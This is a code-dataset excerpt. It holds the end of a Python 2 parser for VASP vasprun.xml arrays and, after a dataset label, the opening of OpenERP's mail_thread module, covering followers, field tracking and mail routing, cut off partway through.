dimension lengths. len( dimLens) == n == numDimensions. _dimNames numpy vec of dimension names. len( dimLens) == n == numDimensions. _fieldNames numpy vec of field names in the parallel arrays. len( fieldNames) == numVariables. _fieldTypes numpy vec of field types in the parallel arrays. len( fieldTypes) == numVariables. The types are: 'i': int, 'f': float, 's': str <fieldName> numpy n-dimensional array of the field <fieldName> <fieldName> numpy n-dimensional array of the field <fieldName> <fieldName> numpy n-dimensional array of the field <fieldName> ... ============= ======================================================== Example XML for a 1-dimensional array with 2 fields: :: <array name="atoms" > <dimension dim="1">ion</dimension> <field type="string">element</field> <field type="int">atomtype</field> <set> <rc><c>C </c><c> 1</c></rc> <rc><c>Fe</c><c> 2</c></rc> <rc><c>Fe</c><c> 2</c></rc> <rc><c>Fe</c><c> 2</c></rc> <rc><c>Fe</c><c> 2</c></rc> </set> </array> Example resulting map: :: _dimLens: [5] _dimNames: ['ion'] _fieldNames: ['element' 'atomtype'] _fieldTypes: ['s' 'i'] element: ['C' 'Fe' 'Fe' 'Fe' 'Fe'] atomtype: [1 2 2 2 2] Multiple dimension arrays also are supported. The vasprun.xml handling of dimensions is unusual. What they claim is ``dim="1"`` actually is the least significant dimension and varies fastest, both in the XML data and in our resulting Python array. So the XML ``<dimension dim="1">band</dimension>`` becomes the last dimension in the resulting Python array. Example XML for a 3 dimensional array with 2 fields: :: <array> <dimension dim="1">band</dimension> <dimension dim="2">kpoint</dimension> <dimension dim="3">spin</dimension> <field>eigene</field> <field>occ</field> <set> <set comment="spin 1"> <set comment="kpoint 1"> <r> -6.5058 1.0000 </r> <r> 0.2537 1.0000 </r> <r> 0.7101 1.0000 </r> ... <r> 8.1390 0.0000 </r> </set> <set comment="kpoint 2"> <r> -6.3718 1.0000 </r> <r> -0.0841 1.0000 </r> <r> 0.7508 1.0000 </r> ... </set> <set comment="kpoint 101"> <r> -5.8567 1.0000 </r> <r> -0.0854 1.0000 </r> <r> 0.9602 1.0000 </r> <r> 7.7174 0.0000 </r> <r> 7.8556 0.0000 </r> </set> </set> </set> </array> Example resulting map: :: _dimLens: [ 1 101 22] _dimNames: ['spin' 'kpoint' 'band'] _fieldNames: ['eigene' 'occ'] _fieldTypes: ['f' 'f'] eigene: [[[-6.5058 0.2537 0.7101 ..., 7.6096 7.8817 8.139 ] [-6.3718 -0.0841 0.7508 ..., 7.481 7.8491 7.9595] [-6.1332 -0.611 1.0672 ..., 7.0857 7.8655 7.9314] ..., [-5.8462 0.3687 0.9498 ..., 7.1721 7.4739 7.6631] [-5.8016 0.5503 0.5886 ..., 7.4113 7.5794 7.7332] [-5.8567 -0.0854 0.9602 ..., 7.2729 7.7174 7.8556]]] occ: [[[ 1. 1. 1. ..., 0. 0. 0. ] [ 1. 1. 1. ..., 0. 0. 0. ] [ 1. 1. 1. ..., 1. 0. 0. ] ..., [ 1. 1. 1. ..., 1. 0. 0. ] [ 1. 1. 1. ..., 0. 0. 0. ] [ 1. 1. 1. ..., 0.9751 0. 0. ]]] **Parameters**: * bugLev (int): Debug level. Normally 0. * node (xml.etree.ElementTree.Element): The XML node for the ``<array>`` element. **Returns**: * A Python array ''' dimNodes = arrNode.findall('dimension') ndim = len( dimNodes) if ndim == 0: throwerr('no dimensions found') dimNames = [nd.text for nd in dimNodes] dimNames.reverse() # dimNames are in reverse order in XML dimNames = np.array( dimNames, dtype=str) dimLens = np.zeros( [ndim], dtype=int) fieldNodes = arrNode.findall('field') nfield = len( fieldNodes) if nfield == 0: throwerr('no fields found') fieldNames = [nd.text for nd in fieldNodes] fieldNames = np.array( fieldNames, dtype=str) # We set fieldTypes[ifield] to max( all found types for ifield) # Types are: 0:int, 1:float, 2:string fieldTypes = nfield * [0] setNodes = arrNode.findall('set') if len(setNodes) != 1: throwerr('wrong len for primary set') setNode = setNodes[0] resList = nfield * [None] for ifield in range( nfield): amat = getArraySub( bugLev, setNode, ifield, fieldTypes, 0, # idim dimLens) # Convert all elements of each field ifield to fieldTypes[ifield]. if fieldTypes[ifield] == 0: amat = np.array( amat, dtype=int) elif fieldTypes[ifield] == 1: amat = np.array( amat, dtype=float) elif fieldTypes[ifield] == 2: amat = np.array( amat, dtype=str) else: throwerr('unknown fieldType') resList[ifield] = amat # Convert fieldTypes from 0,1,2 to 'i', 'f', 's' fldMap = { 0:'i', 1:'f', 2:'s'} fieldTypeStgs = map( lambda x: fldMap[x], fieldTypes) fieldTypeStgs = np.array( fieldTypeStgs, dtype=str) resMap = { '_dimNames': dimNames, '_dimLens': dimLens, '_fieldNames': fieldNames, '_fieldTypes': fieldTypeStgs, } for ii in range(len(fieldNames)): ar = resList[ii] if not all(ar.shape == np.array(dimLens)): throwerr('dimLens mismatch') resMap[fieldNames[ii]] = ar return resMap #==================================================================== def getArraySub( bugLev, setNode, ifield, fieldTypes, idim, dimLens): ''' Decodes the XML for one field (one variable) for an ``<array>``. Called by getArrayByNode. See :func:`getArrayByNode` for details. **Parameters**: * bugLev (int): Debug level. Normally 0. * setNode (xml.etree.ElementTree.Element): the element for ``<set>``. * ifield (int): the index number of the field. * fieldTypes (int[]): the numeric field types so far. The numeric types are: 0: int, 1: float, 2: str. We take the max of the field types. * tp (Python type): The desired type. * idim (int): dimension number == recursion level == array nest level. 0 on the first call, 1 for the next level array, etc. * dimLens (int[]): list of dimension lengths. Updated. **Returns**: * A Python array with elements of type str. The caller converts them to the correct type. ''' nfield = len(fieldTypes) ndim = len(dimLens) # If we're at the last dimension, decode the element values. if idim == ndim - 1: # Try long form: # <set> # <rc> # <c>2</c> # <c>Mo</c> rcNodes = setNode.findall('rc') # long form: <rc> <c> # Try short form: # <set comment='spin 1'> # <set comment='kpoint 1'> # <r>-30.3711 1.0000</r> # <r>-30.3709 1.0000</r> rNodes = setNode.findall('r') # short form: <r> nval = max( len( rcNodes), len( rNodes)) if dimLens[idim] == 0: dimLens[idim] = nval if nval != dimLens[idim]: throwerr('irregular array') resVec = nval * [None] if len(rcNodes) > 0: # long form: <rc> <c> for ival in range( nval): cNodes = rcNodes[ival].findall('c') if len(cNodes) != nfield: throwerr('wrong num fields') stg = cNodes[ifield].text resVec[ival] = stg elif len(rNodes) > 0: # short form: <r> for ival in range( nval): txt = rNodes[ival].text toks = txt.split() if len(toks) != nfield: throwerr('wrong num fields') resVec[ival] = toks[ifield] else: throwerr('unknown array structure') # Strip all strings. # Set fieldTypes[ifield] to max( current type, all found types) # Types are: 0:int, 1:float, 2:string for ival in range( nval): resVec[ival] = resVec[ival].strip() stg = resVec[ival] ftype = 2 # assume worst case: string try: float( stg) ftype = 1 except ValueError: pass try: int( stg) ftype = 0 except ValueError: pass fieldTypes[ifield] = max( fieldTypes[ifield], ftype) else: # else idim < ndim - 1. Recursion. setNodes = setNode.findall('set') nset = len( setNodes) if dimLens[idim] == 0: dimLens[idim] = nset if nset != dimLens[idim]: throwerr('irregular array') resVec = nset * [None] for iset in range(nset): resVec[iset] = getArraySub( # recursion bugLev, setNodes[iset], ifield, fieldTypes, idim + 1, dimLens) return resVec #==================================================================== # Not used def convertTypesUnused( tp, vec): ''' Recursively converts the elements of an array ``vec`` from str to the specified type. **Parameters**: * tp (Python type): The desired type. * vec (str[] or str[][] or ...): the array to be converted. **Returns**: * A Python array with elements of type ``tp``. ''' if isinstance( vec[0], str): for ii in range(len(vec)): vec[ii] = tp( vec[ii]) elif isinstance( vec[0], list): for subVec in vec: convertTypes( tp, subVec) # recursion else: throwerr('unknown array structure') #==================================================================== def maxAbsDiff( mata, matb): ''' Returns the max abs diff between two 2D numpy matrices. **Parameters**: * mata (numpy 2D array): Array to be compared. * matb (numpy 2D array): Array to be compared. **Returns**: * float scalar: max_i( max_j( abs( mata[i][j] - matb[i][j])) ''' (nrow,ncol) = mata.shape if matb.shape != mata.shape: throwerr('maxAbsDiff: shape mismatch') diffMat = abs( matb - mata) res = max( map( max, diffMat)) return res #==================================================================== def calcMatDeltas( mats): ''' Returns the max abs diffs between adjacent pairs of a list of 2D numpy matrices. **Parameters**: * mats (list of 2D numpy matrices) **Returns**: * deltas (float[]): deltas[k] = maxAbsDiff( mats[k-1], mats[k]) ''' nmat = len( mats) deltas = [] for ii in range( 1, nmat): delta = maxAbsDiff( mats[ii-1], mats[ii]) deltas.append( delta) return deltas #==================================================================== def printMrr( vmap): ''' Prints the Mrr map returned by getArrayByPath or getArrayByNode. **Parameters**: * vmap (map): the MRR map **Returns**: * None ''' keys = vmap.keys() keys.sort() for key in keys: if key.startswith('_'): val = vmap[key] print ' %s: %s' % (key, val,) for key in vmap['_fieldNames']: val = vmap[key] print ' %s: %s' % (key, val,) print '' #==================================================================== def throwerr( msg): ''' Prints an error message and raises Exception. **Parameters**: * msg (str): Error message. **Returns** * (Never returns) **Raises** * Exception ''' print msg print >> sys.stderr, msg raise Exception( msg) #==================================================================== if __name__ == '__main__': main() #====================================================================
codeparrot/github-code-clean
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2009-today OpenERP SA (<http://www.openerp.com>) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/> # ############################################################################## import base64 import datetime import dateutil import email try: import simplejson as json except ImportError: import json from lxml import etree import logging import pytz import time import xmlrpclib from email.message import Message from openerp import tools from openerp import SUPERUSER_ID from openerp.addons.mail.mail_message import decode from openerp.osv import fields, osv, orm from openerp.osv.orm import browse_record, browse_null from openerp.tools.safe_eval import safe_eval as eval from openerp.tools.translate import _ _logger = logging.getLogger(__name__) def decode_header(message, header, separator=' '): return separator.join(map(decode, filter(None, message.get_all(header, [])))) class mail_thread(osv.AbstractModel): ''' mail_thread model is meant to be inherited by any model that needs to act as a discussion topic on which messages can be attached. Public methods are prefixed with ``message_`` in order to avoid name collisions with methods of the models that will inherit from this class. ``mail.thread`` defines fields used to handle and display the communication history. ``mail.thread`` also manages followers of inheriting classes. All features and expected behavior are managed by mail.thread. Widgets has been designed for the 7.0 and following versions of OpenERP. Inheriting classes are not required to implement any method, as the default implementation will work for any model. However it is common to override at least the ``message_new`` and ``message_update`` methods (calling ``super``) to add model-specific behavior at creation and update of a thread when processing incoming emails. Options: - _mail_flat_thread: if set to True, all messages without parent_id are automatically attached to the first message posted on the ressource. If set to False, the display of Chatter is done using threads, and no parent_id is automatically set. ''' _name = 'mail.thread' _description = 'Email Thread' _mail_flat_thread = True _mail_post_access = 'write' # Automatic logging system if mail installed # _track = { # 'field': { # 'module.subtype_xml': lambda self, cr, uid, obj, context=None: obj[state] == done, # 'module.subtype_xml2': lambda self, cr, uid, obj, context=None: obj[state] != done, # }, # 'field2': { # ... # }, # } # where # :param string field: field name # :param module.subtype_xml: xml_id of a mail.message.subtype (i.e. mail.mt_comment) # :param obj: is a browse_record # :param function lambda: returns whether the tracking should record using this subtype _track = {} def get_empty_list_help(self, cr, uid, help, context=None): """ Override of BaseModel.get_empty_list_help() to generate an help message that adds alias information. """ model = context.get('empty_list_help_model') res_id = context.get('empty_list_help_id') ir_config_parameter = self.pool.get("ir.config_parameter") catchall_domain = ir_config_parameter.get_param(cr, uid, "mail.catchall.domain", context=context) document_name = context.get('empty_list_help_document_name', _('document')) alias = None if catchall_domain and model and res_id: # specific res_id -> find its alias (i.e. section_id specified) object_id = self.pool.get(model).browse(cr, uid, res_id, context=context) # check that the alias effectively creates new records if object_id.alias_id and object_id.alias_id.alias_name and \ object_id.alias_id.alias_model_id and \ object_id.alias_id.alias_model_id.model == self._name and \ object_id.alias_id.alias_force_thread_id == 0: alias = object_id.alias_id elif catchall_domain and model: # no specific res_id given -> generic help message, take an example alias (i.e. alias of some section_id) alias_obj = self.pool.get('mail.alias') alias_ids = alias_obj.search(cr, uid, [("alias_parent_model_id.model", "=", model), ("alias_name", "!=", False), ('alias_force_thread_id', '=', False)], context=context, order='id ASC') if alias_ids and len(alias_ids) == 1: alias = alias_obj.browse(cr, uid, alias_ids[0], context=context) if alias: alias_email = alias.name_get()[0][1] return _("""<p class='oe_view_nocontent_create'> Click here to add new %(document)s or send an email to: <a href='mailto:%(email)s'>%(email)s</a> </p> %(static_help)s""" ) % { 'document': document_name, 'email': alias_email, 'static_help': help or '' } if document_name != 'document' and help and help.find("oe_view_nocontent_create") == -1: return _("<p class='oe_view_nocontent_create'>Click here to add new %(document)s</p>%(static_help)s") % { 'document': document_name, 'static_help': help or '', } return help def _get_message_data(self, cr, uid, ids, name, args, context=None): """ Computes: - message_unread: has uid unread message for the document - message_summary: html snippet summarizing the Chatter for kanban views """ res = dict((id, dict(message_unread=False, message_unread_count=0, message_summary=' ')) for id in ids) user_pid = self.pool.get('res.users').read(cr, uid, uid, ['partner_id'], context=context)['partner_id'][0] # search for unread messages, directly in SQL to improve performances cr.execute(""" SELECT m.res_id FROM mail_message m RIGHT JOIN mail_notification n ON (n.message_id = m.id AND n.partner_id = %s AND (n.read = False or n.read IS NULL)) WHERE m.model = %s AND m.res_id in %s""", (user_pid, self._name, tuple(ids),)) for result in cr.fetchall(): res[result[0]]['message_unread'] = True res[result[0]]['message_unread_count'] += 1 for id in ids: if res[id]['message_unread_count']: title = res[id]['message_unread_count'] > 1 and _("You have %d unread messages") % res[id]['message_unread_count'] or _("You have one unread message") res[id]['message_summary'] = "<span class='oe_kanban_mail_new' title='%s'><span class='oe_e'>9</span> %d %s</span>" % (title, res[id].pop('message_unread_count'), _("New")) return res def read_followers_data(self, cr, uid, follower_ids, context=None): result = [] technical_group = self.pool.get('ir.model.data').get_object(cr, uid, 'base', 'group_no_one', context=context) for follower in self.pool.get('res.partner').browse(cr, uid, follower_ids, context=context): is_editable = uid in map(lambda x: x.id, technical_group.users) is_uid = uid in map(lambda x: x.id, follower.user_ids) data = (follower.id, follower.name, {'is_editable': is_editable, 'is_uid': is_uid}, ) result.append(data) return result def _get_subscription_data(self, cr, uid, ids, name, args, user_pid=None, context=None): """ Computes: - message_subtype_data: data about document subtypes: which are available, which are followed if any """ res = dict((id, dict(message_subtype_data='')) for id in ids) if user_pid is None: user_pid = self.pool.get('res.users').read(cr, uid, uid, ['partner_id'], context=context)['partner_id'][0] # find current model subtypes, add them to a dictionary subtype_obj = self.pool.get('mail.message.subtype') subtype_ids = subtype_obj.search(cr, uid, ['|', ('res_model', '=', self._name), ('res_model', '=', False)], context=context) subtype_dict = dict((subtype.name, dict(default=subtype.default, followed=False, id=subtype.id)) for subtype in subtype_obj.browse(cr, uid, subtype_ids, context=context)) for id in ids: res[id]['message_subtype_data'] = subtype_dict.copy() # find the document followers, update the data fol_obj = self.pool.get('mail.followers') fol_ids = fol_obj.search(cr, uid, [ ('partner_id', '=', user_pid), ('res_id', 'in', ids), ('res_model', '=', self._name), ], context=context) for fol in fol_obj.browse(cr, uid, fol_ids, context=context): thread_subtype_dict = res[fol.res_id]['message_subtype_data'] for subtype in fol.subtype_ids: thread_subtype_dict[subtype.name]['followed'] = True res[fol.res_id]['message_subtype_data'] = thread_subtype_dict return res def _search_message_unread(self, cr, uid, obj=None, name=None, domain=None, context=None): return [('message_ids.to_read', '=', True)] def _get_followers(self, cr, uid, ids, name, arg, context=None): fol_obj = self.pool.get('mail.followers') fol_ids = fol_obj.search(cr, SUPERUSER_ID, [('res_model', '=', self._name), ('res_id', 'in', ids)]) res = dict((id, dict(message_follower_ids=[], message_is_follower=False)) for id in ids) user_pid = self.pool.get('res.users').read(cr, uid, uid, ['partner_id'], context=context)['partner_id'][0] for fol in fol_obj.browse(cr, SUPERUSER_ID, fol_ids): res[fol.res_id]['message_follower_ids'].append(fol.partner_id.id) if fol.partner_id.id == user_pid: res[fol.res_id]['message_is_follower'] = True return res def _set_followers(self, cr, uid, id, name, value, arg, context=None): if not value: return partner_obj = self.pool.get('res.partner') fol_obj = self.pool.get('mail.followers') # read the old set of followers, and determine the new set of followers fol_ids = fol_obj.search(cr, SUPERUSER_ID, [('res_model', '=', self._name), ('res_id', '=', id)]) old = set(fol.partner_id.id for fol in fol_obj.browse(cr, SUPERUSER_ID, fol_ids)) new = set(old) for command in value or []: if isinstance(command, (int, long)): new.add(command) elif command[0] == 0: new.add(partner_obj.create(cr, uid, command[2], context=context)) elif command[0] == 1: partner_obj.write(cr, uid, [command[1]], command[2], context=context) new.add(command[1]) elif command[0] == 2: partner_obj.unlink(cr, uid, [command[1]], context=context) new.discard(command[1]) elif command[0] == 3: new.discard(command[1]) elif command[0] == 4: new.add(command[1]) elif command[0] == 5: new.clear() elif command[0] == 6: new = set(command[2]) # remove partners that are no longer followers self.message_unsubscribe(cr, uid, [id], list(old-new), context=context) # add new followers self.message_subscribe(cr, uid, [id], list(new-old), context=context) def _search_followers(self, cr, uid, obj, name, args, context): """Search function for message_follower_ids Do not use with operator 'not in'. Use instead message_is_followers """ fol_obj = self.pool.get('mail.followers') res = [] for field, operator, value in args: assert field == name # TOFIX make it work with not in assert operator != "not in", "Do not search message_follower_ids with 'not in'" fol_ids = fol_obj.search(cr, SUPERUSER_ID, [('res_model', '=', self._name), ('partner_id', operator, value)]) res_ids = [fol.res_id for fol in fol_obj.browse(cr, SUPERUSER_ID, fol_ids)] res.append(('id', 'in', res_ids)) return res def _search_is_follower(self, cr, uid, obj, name, args, context): """Search function for message_is_follower""" res = [] for field, operator, value in args: assert field == name partner_id = self.pool.get('res.users').browse(cr, uid, uid, context=context).partner_id.id if (operator == '=' and value) or (operator == '!=' and not value): # is a follower res_ids = self.search(cr, uid, [('message_follower_ids', 'in', [partner_id])], context=context) else: # is not a follower or unknown domain mail_ids = self.search(cr, uid, [('message_follower_ids', 'in', [partner_id])], context=context) res_ids = self.search(cr, uid, [('id', 'not in', mail_ids)], context=context) res.append(('id', 'in', res_ids)) return res _columns = { 'message_is_follower': fields.function(_get_followers, type='boolean', fnct_search=_search_is_follower, string='Is a Follower', multi='_get_followers,'), 'message_follower_ids': fields.function(_get_followers, fnct_inv=_set_followers, fnct_search=_search_followers, type='many2many', priority=-10, obj='res.partner', string='Followers', multi='_get_followers'), 'message_ids': fields.one2many('mail.message', 'res_id', domain=lambda self: [('model', '=', self._name)], auto_join=True, string='Messages', help="Messages and communication history"), 'message_unread': fields.function(_get_message_data, fnct_search=_search_message_unread, multi="_get_message_data", type='boolean', string='Unread Messages', help="If checked new messages require your attention."), 'message_summary': fields.function(_get_message_data, method=True, type='text', string='Summary', multi="_get_message_data", help="Holds the Chatter summary (number of messages, ...). "\ "This summary is directly in html format in order to "\ "be inserted in kanban views."), } def _get_user_chatter_options(self, cr, uid, context=None): options = { 'display_log_button': False } group_ids = self.pool.get('res.users').browse(cr, uid, uid, context=context).groups_id group_user_id = self.pool.get("ir.model.data").get_object_reference(cr, uid, 'base', 'group_user')[1] is_employee = group_user_id in [group.id for group in group_ids] if is_employee: options['display_log_button'] = True return options def fields_view_get(self, cr, uid, view_id=None, view_type='form', context=None, toolbar=False, submenu=False): res = super(mail_thread, self).fields_view_get(cr, uid, view_id=view_id, view_type=view_type, context=context, toolbar=toolbar, submenu=submenu) if view_type == 'form': doc = etree.XML(res['arch']) for node in doc.xpath("//field[@name='message_ids']"): options = json.loads(node.get('options', '{}')) options.update(self._get_user_chatter_options(cr, uid, context=context)) node.set('options', json.dumps(options)) res['arch'] = etree.tostring(doc) return res #------------------------------------------------------ # CRUD overrides for automatic subscription and logging #------------------------------------------------------ def create(self, cr, uid, values, context=None): """ Chatter override : - subscribe uid - subscribe followers of parent - log a creation message """ if context is None: context = {} # subscribe uid unless asked not to if not context.get('mail_create_nosubscribe'): pid = self.pool['res.users'].browse(cr, SUPERUSER_ID, uid).partner_id.id message_follower_ids = values.get('message_follower_ids') or [] # webclient can send None or False message_follower_ids.append([4, pid]) values['message_follower_ids'] = message_follower_ids # add operation to ignore access rule checking for subscription context_operation = dict(context, operation='create') else: context_operation = context thread_id = super(mail_thread, self).create(cr, uid, values, context=context_operation) # automatic logging unless asked not to (mainly for various testing purpose) if not context.get('mail_create_nolog'): self.message_post(cr, uid, thread_id, body=_('%s created') % (self._description), context=context) # auto_subscribe: take values and defaults into account create_values = dict(values) for key, val in context.iteritems(): if key.startswith('default_'): create_values[key[8:]] = val self.message_auto_subscribe(cr, uid, [thread_id], create_values.keys(), context=context, values=create_values) # track values track_ctx = dict(context) if 'lang' not in track_ctx: track_ctx['lang'] = self.pool.get('res.users').browse(cr, uid, uid, context=context).lang tracked_fields = self._get_tracked_fields(cr, uid, values.keys(), context=track_ctx) if tracked_fields: initial_values = {thread_id: dict((item, False) for item in tracked_fields)} self.message_track(cr, uid, [thread_id], tracked_fields, initial_values, context=track_ctx) return thread_id def write(self, cr, uid, ids, values, context=None): if context is None: context = {} if isinstance(ids, (int, long)): ids = [ids] # Track initial values of tracked fields track_ctx = dict(context) if 'lang' not in track_ctx: track_ctx['lang'] = self.pool.get('res.users').browse(cr, uid, uid, context=context).lang tracked_fields = self._get_tracked_fields(cr, uid, values.keys(), context=track_ctx) if tracked_fields: records = self.browse(cr, uid, ids, context=track_ctx) initial_values = dict((this.id, dict((key, getattr(this, key)) for key in tracked_fields.keys())) for this in records) # Perform write, update followers result = super(mail_thread, self).write(cr, uid, ids, values, context=context) self.message_auto_subscribe(cr, uid, ids, values.keys(), context=context, values=values) # Perform the tracking if tracked_fields: self.message_track(cr, uid, ids, tracked_fields, initial_values, context=track_ctx) return result def unlink(self, cr, uid, ids, context=None): """ Override unlink to delete messages and followers. This cannot be cascaded, because link is done through (res_model, res_id). """ msg_obj = self.pool.get('mail.message') fol_obj = self.pool.get('mail.followers') # delete messages and notifications msg_ids = msg_obj.search(cr, uid, [('model', '=', self._name), ('res_id', 'in', ids)], context=context) msg_obj.unlink(cr, uid, msg_ids, context=context) # delete res = super(mail_thread, self).unlink(cr, uid, ids, context=context) # delete followers fol_ids = fol_obj.search(cr, SUPERUSER_ID, [('res_model', '=', self._name), ('res_id', 'in', ids)], context=context) fol_obj.unlink(cr, SUPERUSER_ID, fol_ids, context=context) return res def copy(self, cr, uid, id, default=None, context=None): default = default or {} default['message_ids'] = [] default['message_follower_ids'] = [] return super(mail_thread, self).copy(cr, uid, id, default=default, context=context) #------------------------------------------------------ # Automatically log tracked fields #------------------------------------------------------ def _get_tracked_fields(self, cr, uid, updated_fields, context=None): """ Return a structure of tracked fields for the current model. :param list updated_fields: modified field names :return list: a list of (field_name, column_info obj), containing always tracked fields and modified on_change fields """ lst = [] for name, column_info in self._all_columns.items(): visibility = getattr(column_info.column, 'track_visibility', False) if visibility == 'always' or (visibility == 'onchange' and name in updated_fields) or name in self._track: lst.append(name) if not lst: return lst return self.fields_get(cr, uid, lst, context=context) def message_track(self, cr, uid, ids, tracked_fields, initial_values, context=None): def convert_for_display(value, col_info): if not value and col_info['type'] == 'boolean': return 'False' if not value: return '' if col_info['type'] == 'many2one': return value.name_get()[0][1] if col_info['type'] == 'selection': return dict(col_info['selection'])[value] return value def format_message(message_description, tracked_values): message = '' if message_description: message = '<span>%s</span>' % message_description for name, change in tracked_values.items(): message += '<div> &nbsp; &nbsp; &bull; <b>%s</b>: ' % change.get('col_info') if change.get('old_value'): message += '%s &rarr; ' % change.get('old_value') message += '%s</div>' % change.get('new_value') return message if not tracked_fields: return True for browse_record in self.browse(cr, uid, ids, context=context): initial = initial_values[browse_record.id] changes = set() tracked_values = {} # generate tracked_values data structure: {'col_name': {col_info, new_value, old_value}} for col_name, col_info in tracked_fields.items(): initial_value = initial[col_name] record_value = getattr(browse_record, col_name) if record_value == initial_value and getattr(self._all_columns[col_name].column, 'track_visibility', None) == 'always': tracked_values[col_name] = dict(col_info=col_info['string'], new_value=convert_for_display(record_value, col_info)) elif record_value != initial_value and (record_value or initial_value): # because browse null != False if getattr(self._all_columns[col_name].column, 'track_visibility', None) in ['always', 'onchange']: tracked_values[col_name] = dict(col_info=col_info['string'], old_value=convert_for_display(initial_value, col_info), new_value=convert_for_display(record_value, col_info)) if col_name in tracked_fields: changes.add(col_name) if not changes: continue # find subtypes and post messages or log if no subtype found subtypes = [] for field, track_info in self._track.items(): if field not in changes: continue for subtype, method in track_info.items(): if method(self, cr, uid, browse_record, context): subtypes.append(subtype) posted = False for subtype in subtypes: subtype_rec = self.pool.get('ir.model.data').xmlid_to_object(cr, uid, subtype, context=context) if not (subtype_rec and subtype_rec.exists()): _logger.debug('subtype %s not found' % subtype) continue message = format_message(subtype_rec.description if subtype_rec.description else subtype_rec.name, tracked_values) self.message_post(cr, uid, browse_record.id, body=message, subtype=subtype, context=context) posted = True if not posted: message = format_message('', tracked_values) self.message_post(cr, uid, browse_record.id, body=message, context=context) return True #------------------------------------------------------ # mail.message wrappers and tools #------------------------------------------------------ def _needaction_domain_get(self, cr, uid, context=None): if self._needaction: return [('message_unread', '=', True)] return [] def _garbage_collect_attachments(self, cr, uid, context=None): """ Garbage collect lost mail attachments. Those are attachments - linked to res_model 'mail.compose.message', the composer wizard - with res_id 0, because they were created outside of an existing wizard (typically user input through Chatter or reports created on-the-fly by the templates) - unused since at least one day (create_date and write_date) """ limit_date = datetime.datetime.utcnow() - datetime.timedelta(days=1) limit_date_str = datetime.datetime.strftime(limit_date, tools.DEFAULT_SERVER_DATETIME_FORMAT) ir_attachment_obj = self.pool.get('ir.attachment') attach_ids = ir_attachment_obj.search(cr, uid, [ ('res_model', '=', 'mail.compose.message'), ('res_id', '=', 0), ('create_date', '<', limit_date_str), ('write_date', '<', limit_date_str), ], context=context) ir_attachment_obj.unlink(cr, uid, attach_ids, context=context) return True def check_mail_message_access(self, cr, uid, mids, operation, model_obj=None, context=None): """ mail.message check permission rules for related document. This method is meant to be inherited in order to implement addons-specific behavior. A common behavior would be to allow creating messages when having read access rule on the document, for portal document such as issues. """ if not model_obj: model_obj = self if hasattr(self, '_mail_post_access'): create_allow = self._mail_post_access else: create_allow = 'write' if operation in ['write', 'unlink']: check_operation = 'write' elif operation == 'create' and create_allow in ['create', 'read', 'write', 'unlink']: check_operation = create_allow elif operation == 'create': check_operation = 'write' else: check_operation = operation model_obj.check_access_rights(cr, uid, check_operation) model_obj.check_access_rule(cr, uid, mids, check_operation, context=context) def _get_formview_action(self, cr, uid, id, model=None, context=None): """ Return an action to open the document. This method is meant to be overridden in addons that want to give specific view ids for example. :param int id: id of the document to open :param string model: specific model that overrides self._name """ return { 'type': 'ir.actions.act_window', 'res_model': model or self._name, 'view_type': 'form', 'view_mode': 'form', 'views': [(False, 'form')], 'target': 'current', 'res_id': id, } def _get_inbox_action_xml_id(self, cr, uid, context=None): """ When redirecting towards the Inbox, choose which action xml_id has to be fetched. This method is meant to be inherited, at least in portal because portal users have a different Inbox action than classic users. """ return ('mail', 'action_mail_inbox_feeds') def message_redirect_action(self, cr, uid, context=None): """ For a given message, return an action that either - opens the form view of the related document if model, res_id, and read access to the document - opens the Inbox with a default search on the conversation if model, res_id - opens the Inbox with context propagated """ if context is None: context = {} # default action is the Inbox action self.pool.get('res.users').browse(cr, SUPERUSER_ID, uid, context=context) act_model, act_id = self.pool.get('ir.model.data').get_object_reference(cr, uid, *self._get_inbox_action_xml_id(cr, uid, context=context)) action = self.pool.get(act_model).read(cr, uid, act_id, []) params = context.get('params') msg_id = model = res_id = None if params: msg_id = params.get('message_id') model = params.get('model') res_id = params.get('res_id') if not msg_id and not (model and res_id): return action if msg_id and not (model and res_id): msg = self.pool.get('mail.message').browse(cr, uid, msg_id, context=context) if msg.exists(): model, res_id = msg.model, msg.res_id # if model + res_id found: try to redirect to the document or fallback on the Inbox if model and res_id: model_obj = self.pool.get(model) if model_obj.check_access_rights(cr, uid, 'read', raise_exception=False): try: model_obj.check_access_rule(cr, uid, [res_id], 'read', context=context) if not hasattr(model_obj, '_get_formview_action'): action = self.pool.get('mail.thread')._get_formview_action(cr, uid, res_id, model=model, context=context) else: action = model_obj._get_formview_action(cr, uid, res_id, context=context) except (osv.except_osv, orm.except_orm): pass action.update({ 'context': { 'search_default_model': model, 'search_default_res_id': res_id, } }) return action #------------------------------------------------------ # Email specific #------------------------------------------------------ def message_get_reply_to(self, cr, uid, ids, context=None): """ Returns the preferred reply-to email address that is basically the alias of the document, if it exists. """ if not self._inherits.get('mail.alias'): return [False for id in ids] return ["%s@%s" % (record['alias_name'], record['alias_domain']) if record.get('alias_domain') and record.get('alias_name') else False for record in self.read(cr, SUPERUSER_ID, ids, ['alias_name', 'alias_domain'], context=context)] #------------------------------------------------------ # Mail gateway #------------------------------------------------------ def message_capable_models(self, cr, uid, context=None): """ Used by the plugin addon, based for plugin_outlook and others. """ ret_dict = {} for model_name in self.pool.obj_list(): model = self.pool[model_name] if hasattr(model, "message_process") and hasattr(model, "message_post"): ret_dict[model_name] = model._description return ret_dict def _message_find_partners(self, cr, uid, message, header_fields=['From'], context=None): """ Find partners related to some header fields of the message. :param string message: an email.message instance """ s = ', '.join([decode(message.get(h)) for h in header_fields if message.get(h)]) return filter(lambda x: x, self._find_partner_from_emails(cr, uid, None, tools.email_split(s), context=context)) def message_route_verify(self, cr, uid, message, message_dict, route, update_author=True, assert_model=True, create_fallback=True, context=None): """ Verify route validity. Check and rules: 1 - if thread_id -> check that document effectively exists; otherwise fallback on a message_new by resetting thread_id 2 - check that message_update exists if thread_id is set; or at least that message_new exist [ - find author_id if udpate_author is set] 3 - if there is an alias, check alias_contact: 'followers' and thread_id: check on target document that the author is in the followers 'followers' and alias_parent_thread_id: check on alias parent document that the author is in the followers 'partners': check that author_id id set """ assert isinstance(route, (list, tuple)), 'A route should be a list or a tuple' assert len(route) == 5, 'A route 